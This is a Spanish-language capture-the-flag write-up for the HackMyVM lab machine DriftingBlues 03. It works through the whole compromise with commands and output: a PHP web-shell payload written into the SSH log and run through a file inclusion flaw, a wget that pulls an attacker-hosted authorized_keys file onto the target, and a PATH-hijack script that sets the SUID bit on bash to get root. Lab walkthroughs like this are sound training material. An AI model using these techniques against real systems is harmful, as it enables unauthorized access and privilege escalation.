cd ~/blog

~/writeups/hmv/098-driftingblues-03.md

098 - DriftingBlues 03

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Log Poisoning through LFIArbitrary SSH Key Injection mediante un directorio .ssh escribibleSUID PATH Hijacking
hackmyvm.eu/machines/machine.php?vm=DriftingBlues3

~1 min de lectura


Enumeración de servicios

El escaneo identifica SSH y Apache. robots.txt revela /eventadmins, ruta que inicia una cadena de pistas relacionada con los registros de autenticación:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 22:36 -04
Nmap scan report for 192.168.1.17
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/eventadmins
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

LFI y SSH Log Poisoning

La ruta revelada conduce a otra página que contiene dos valores Base64 encadenados. Al decodificarlos obtenemos /adminsfixit.php:

❯ curl http://192.168.1.17/eventadmins/
...
<p>also check /littlequeenofspades.html</p>
...

❯ curl http://192.168.1.17/littlequeenofspades.html
...
<p style="color:white">aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==</p>
...

❯ echo "aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==" | base64 -d
intruder? L2FkbWluc2ZpeGl0LnBocA==
❯ echo "L2FkbWluc2ZpeGl0LnBocA==" | base64 -d
/adminsfixit.php

/adminsfixit.php incluye el log de SSH mediante una LFI. Si introducimos código PHP como nombre de usuario, sshd lo registra y la inclusión posterior interpreta ese texto dentro del proceso PHP, convirtiendo el Log Poisoning en ejecución de comandos. El cliente SSH moderno rechaza esos caracteres, así que enviamos el nombre de usuario mediante el módulo ssh_login de Metasploit:

❯ ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.17
remote username contains invalid characters
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php system($_GET['cmd']); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 1234
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.17
msf6 auxiliary(scanner/ssh/ssh_login) > run

Acceso estable mediante SSH Key Injection

Con el log envenenado obtenemos RCE en http://192.168.1.17/adminsfixit.php?cmd=whoami y lanzamos una reverse shell como www-data. Los permisos drwx---rwx de /home/robertj/.ssh conceden escritura a otros usuarios, por lo que podemos instalar nuestra clave pública como authorized_keys:

www-data@driftingblues:/home/robertj$ ls -la
...
drwx---rwx 2 robertj robertj 4096 Jan  4  2021 .ssh
...

❯ ssh-keygen -t rsa
...
❯ cp ~/.ssh/id_rsa.pub ./authorized_keys
❯ python3 -m http.server

www-data@driftingblues:/home/robertj/.ssh$ wget http://192.168.1.5:8000/authorized_keys

❯ ssh robertj@192.168.1.17 -i id_rsa
Enter passphrase for key 'id_rsa': 1234
robertj@driftingblues:~$

Escalada mediante SUID PATH Hijacking

La autenticación como robertj permite recuperar la primera flag. Buscamos entonces binarios SUID propiedad de root:

robertj@driftingblues:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/getinfo
...

getinfo invoca comandos (como cat) sin ruta absoluta, así que hacemos PATH Hijacking: creamos un cat malicioso y anteponemos /tmp al PATH:

robertj@driftingblues:/tmp$ tail cat
#!/bin/bash

chmod u+s /bin/bash

robertj@driftingblues:/tmp$ export PATH=/tmp:$PATH
robertj@driftingblues:/tmp$ /usr/bin/getinfo
robertj@driftingblues:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 17  2019 /bin/bash

robertj@driftingblues:/tmp$ bash -p
bash-5.0# whoami
root

bash -p conserva el UID efectivo heredado del bit SUID y whoami confirma la escalada a root, desde donde recuperamos la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados